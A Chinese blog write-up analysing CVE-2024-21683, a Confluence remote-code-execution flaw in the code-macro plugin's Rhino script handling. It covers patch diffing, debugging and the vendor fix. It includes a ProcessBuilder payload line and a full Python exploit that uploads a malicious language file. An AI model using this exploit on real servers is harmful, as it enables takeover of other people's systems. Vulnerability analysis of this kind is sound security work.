当前位置: 首页 > news >正文

RCE漏洞分析

CVE-2024-21683的漏洞分析,欢迎留言交流。
一、漏洞调试环境搭建
以8.9.0和8.9.1为例:

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.0.tar.gz

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.1.tar.gz

然后使用idea来diff查看不同:

“D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe” diff “D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0” “D:\vuln_image\confluence\diff\atlassian-confluence-8.9.1”
但是由于jar包的名字里面有版本号,而由于版本号的不同,会导致查看不同的时候不会展示不同版本的jar包之间的差异,因此我们需要对版本号进行处理,可以是把它删掉,也可以是替换成x.x.x。我们先把D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins、D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\lib和D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins-setup下的所有jar包复制到了D:\vuln_image\confluence\diff\lib890,然后8.9.1版本也同样这么做,接着根据后者思路写出python脚本如下:

import os
import re

folder_path = r’D:\vuln_image\confluence\diff\lib890’
version_regex = r’\d+.\d+.\d+’
files = os.listdir(folder_path)
for file_name in files:
version_match = re.search(version_regex, file_name)
if version_match:
new_file_name = re.sub(version_regex, ‘x.x.x’, file_name)
old_file_path = os.path.join(folder_path, file_name)
new_file_path = os.path.join(folder_path, new_file_name)
os.rename(old_file_path, new_file_path)
print(f’Renamed {file_name} to {new_file_name}')
然后改个文件夹再跑一遍8.9.1版本的:
在这里插入图片描述
当然,部分jar包的版本号是4位的,不过比较少,我就懒得改脚本了,万一真遇到了就最后单独分析看看。

再diff就可以了:

“D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe” diff “D:\vuln_image\confluence\diff\lib890” "D:\vuln_image\confluen
在这里插入图片描述
然后idea打开D:\vuln_image\confluence\atlassian-confluence-8.9.0,修改bin目录下的setenv.bat,添加这么一行:

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8866 %CATALINA_OPTS%
在这里插入图片描述
并配置远程调试:
在这里插入图片描述
然后把上面提到的三个库文件夹右键Add as Libriary。

二、漏洞代码分析
从上往下翻,发现D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins\com.atlassian.confluence.ext.newcode-macro-plugin-18.9.8.jar进行了一处安全修复,因为名字实在是太显眼了,从initStandardObjects变成了initSafeStandardObjects,多加了个safe,极有可能就是本漏洞的问题所在:
在这里插入图片描述
定位到源代码com.atlassian.confluence.ext.code.languages.impl.RhinoLanguageParser:
在这里插入图片描述
漏洞对应功能位于http://192.168.198.1:8090/admin/plugins/newcode/configure.action#这里的添加新语言这个表单:
在这里插入图片描述
下断点,然后传文件进行调试看看:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
F8到evaluateString函数这里之后F7步入进去看看具体的逻辑:
在这里插入图片描述
这里我们右键value,以字符串形式来显示,然后view text:
在这里插入图片描述
在这里插入图片描述
可以看到,我们的text.js中的text被放置在如下位置:

我们仔细看看这段代码:

public final Object evaluateString(Scriptable scope, String source, String sourceName, int lineno, Object securityDomain) {
Script script = this.compileString(source, sourceName, lineno, securityDomain);
return script != null ? script.exec(this, scope) : null;
}
可以参考以下两篇文章:

https://blog.51cto.com/u_16213644/7333014

https://dev.ariel-networks.com/Members/iwanaga/rhino-code-reading03/

也就是说,会编译传入的脚本源代码,如果编译成功的话就执行该脚本并返回执行结果,如果编译失败,就返回 null。
在这里插入图片描述
而这个evaluateReader函数的第二个参数包含我们传入的脚本,并且它的代码没有任何安全过滤的操作,因此我们可以自定义一些恶意的代码,例如:

new java.lang.ProcessBuilder"(java.lang.String[])".start()
具体还可以参考下面的文章学习:

https://blog.h3xstream.com/2014/11/remote-code-execution-by-design.html

https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html

https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection/el-expression-language

在这里插入图片描述
那官方是怎么修复的呢?使用initSafeStandardObjects定义rhino的上下文,防止JavaScript引擎调用Java代码:
在这里插入图片描述
这部分知识其实也可以参考:

https://help.aliyun.com/zh/security-center/user-guide/learn-about-application-protection

在这里插入图片描述
三、自动化脚本编写
https://github.com/W01fh4cker/CVE-2024-21683-RCE

import argparse
import os

import requests
from bs4 import BeautifulSoup

def GeyAltToken(url, proxy, session):
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”
}
alttoken_url = f"{url}/admin/plugins/newcode/configure.action"
resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20)
if “atlassian-token” in resp.text:
soup = BeautifulSoup(resp.text, ‘html.parser’)
meta_tag = soup.find(‘meta’, {‘id’: ‘atlassian-token’, ‘name’: ‘atlassian-token’})
if meta_tag:
content_value = meta_tag.get(‘content’)
return content_value

    else:print("Meta tag not found")

def LoginAsAdministrator(session, url, proxy, username, password):
login_url = url + “/dologin.action”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”
}
data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F"
session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)

def DoAuthenticate(session, url, proxy, password, alt_token):
login_url = url + “/doauthenticate.action”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”
}
data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action"
session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token):
url = f"{url}/admin/plugins/newcode/addlanguage.action"
data = {
“atl_token”: alt_token,
“newLanguageName”: “test”
}
files = {
“languageFile”: (
jsFilename, jsFileContent, “text/javascript”)
}
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”
}
session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20)

def ParseArgs():
parser = argparse.ArgumentParser(description=“CVE-2023-20198-RCE”)
parser.add_argument(“-u”, “–url”, type=str, help=“target url to check, eg: http://192.168.198.1:8090”, required=True)
parser.add_argument(“-p”, “–proxy”, type=str, default=“http://127.0.0.1:8083”, help=“proxy url, eg: http://127.0.0.1:8083”, required=False)
parser.add_argument(“-au”, “–admin-username”, type=str, help=“The username of the user who is in the Administrators group”, required=True)
parser.add_argument(“-ap”, “–admin-password”, type=str, help=“The password of the user who is in the Administrators group”, required=True)
parser.add_argument(“-f”, “–file”, type=str, help=“exploit file”, default=“exploit.js”, required=True)
parser.add_argument(“-n”, “–name”, type=str, help=“newLanguageName”, default=“test”, required=True)
return parser.parse_args()

if name == ‘main’:
args = ParseArgs()
if not args.proxy:
proxy = {}
else:
proxy = {
“http”: args.proxy,
“https”: args.proxy
}
session = requests.session()
jsfn = os.path.basename(args.file)
jsfc = open(args.file, “r”, encoding=“utf-8”).read()
LoginAsAdministrator(session, args.url.strip(“/”), proxy, args.admin_username, args.admin_password)
alt_token = GeyAltToken(args.url.strip(“/”), proxy, session)
DoAuthenticate(session, args.url.strip(“/”), proxy, args.admin_username, alt_token)
UploadEvilJsFile(session, args.url.strip(“/”), proxy, jsfn, jsfc, alt_token)
效果:
在这里插入图片描述
四、后记
这个漏洞官方说需要验证,但是这个功能点是管理员组用户才具有的,因此普通用户账户应当是无法利用的,并且我也没找到其他地方存在配置代码宏这个功能对应的函数,不排除我落了某些地方;可能会有人有疑问,我都有管理员组账户的账号密码了,我还这么费劲地RCE干嘛,不能直接传插件RCE吗?但是至少我测试的8.9.0版本已经去除了这个功能,其他版本我具体也没去查:

在这里插入图片描述


http://www.mrgr.cn/news/68185.html

相关文章:

  • HTTP动词与状态码
  • MYSQL学习笔记(二)--认识索引、使用索引、索引失效
  • WinForms 中使用 MVVM 模式构建应用:实现登录页面、页面导航及 SQLite 数据库连接完整框架搭建过程
  • 别名路径联想设置
  • 简单的签到程序 python笔记
  • SpringBoot基础系列学习(五):JdbcTemplate 访问数据库
  • OSS和FastDFS的区别
  • 【如何在 Linux 和 Android 系统中杀死进程】
  • 火语言RPA流程组件介绍--获取窗口对象
  • C# 与 C++ 跨进程通信:使用 RabbitMQ 实现消息队列通信
  • Golang | Leetcode Golang题解之第547题身份数量
  • API网关之Gravitee
  • 基于ViT的无监督工业异常检测模型汇总
  • 如何在 Linux 系统中通过进程名杀掉蓝牙进程
  • Meta AI最新推出的长视频语言理解多模态模型LongVU分享
  • Verilog可综合语法
  • C语言 | Leetcode C语言题解之第546题移除盒子
  • SQLI LABS | Less-32 GET-Bypass Custom Filter Adding Slashes To Dangerous Chars
  • B+树与聚簇索引以及非聚簇索引的关系
  • C++ | Leetcode C++题解之第546题移除盒子
  • Docker部署Redis主从复制
  • 看了《逆行人生》,我想到的是程序员的出路不只有外卖员,转型自媒体博主:或许是技术与内容的双向奔赴
  • Golang | Leetcode Golang题解之第546题移除盒子
  • 【划分型 DP】力扣139. 单词拆分
  • C++类的多重继承演示
  • 一文透彻了解电容